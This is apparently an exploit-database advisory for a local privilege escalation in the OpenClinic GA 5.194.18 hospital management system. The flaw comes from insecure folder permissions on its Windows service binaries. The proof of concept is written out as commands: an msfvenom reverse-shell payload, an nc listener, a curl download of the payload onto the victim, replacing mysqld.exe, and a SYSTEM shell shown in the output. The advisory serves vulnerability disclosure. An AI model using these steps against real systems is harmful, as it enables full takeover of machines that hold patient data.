OpenClinic GA 5.194.18 Local Privilege Escalation

Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

# Exploit Title: OpenClinic GA 5.194.18 - Local Privilege Escalation # Date: 2021-07-24 # Author: Alessandro Salzano # Vendor Homepage: # Software Homepage: # Software Link: # Version: 5.194.18 # Tested on: Microsoft Windows 10 Enterprise x64 Open Source Integrated Hospital Information Management System. OpenClinic GA is an open source integrated hospital information management system covering management of administrative, financial, clinical, lab, x-ray, pharmacy, meals distribution and other data. Extensive statistical and reporting capabilities. Vendor: OpenClinic GA. Affected version: > 5.194.18 # Details # By default the Authenticated Users group has the modify permission to openclinic folders/files as shown below. # A low privilege account is able to rename mysqld.exe or tomcat8.exe files located in bin folders and replace # with a malicious file that would connect back to an attacking computer giving system level privileges # (nt authority\system) due to the service running as Local System. # While a low privilege user is unable to restart the service through the application, a restart of the # computer triggers the execution of the malicious file. The application also have unquoted service path issues. (1) Impacted services. Any low privileged user can elevate their privileges abusing MariaDB service: C:\projects\openclinic\mariadb\bin\mysqld.exe Details: SERVICE_NAME: OpenClinicHttp TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : c:\projects\openclinic\tomcat8\bin\tomcat8.exe //RS//OpenClinicHttp LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : OpenClinicHttp DEPENDENCIES : Tcpip : Afd SERVICE_START_NAME : NT Authority\LocalServic -------- SERVICE_NAME: OpenClinicMySQL TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : c:\projects\openclinic\mariadb\bin\mysqld.exe --defaults-file=c:/projects/openclinic/mariadb/my.ini OpenClinicMySQL LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : OpenClinicMySQL DEPENDENCIES : SERVICE_START_NAME : LocalSystem (2) Folder permissions. Insecure folders permissions issue: icacls C:\projects\openclinic C:\projects\openclinic Everyone:(I)(OI)(CI)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) # Proof of Concept 1. Generate malicious .exe on attacking machine msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe 2. Setup listener and ensure apache is running on attacking machine nc -lvp 4242 service apache2 start 3. Download malicious .exe on victim machine type on cmd: curl -o "C:\projects\openclinic\mariadb\bin\mysqld_evil.exe" 4. Overwrite file and copy malicious .exe. Renename C:\projects\openclinic\mariadb\bin\mysqld.exe > mysqld.bak Rename downloaded 'mysqld_evil.exe' file in mysqld.exe 5. Restart victim machine 6. Reverse Shell on attacking machine opens C:\Windows\system32>whoami whoami nt authority\system

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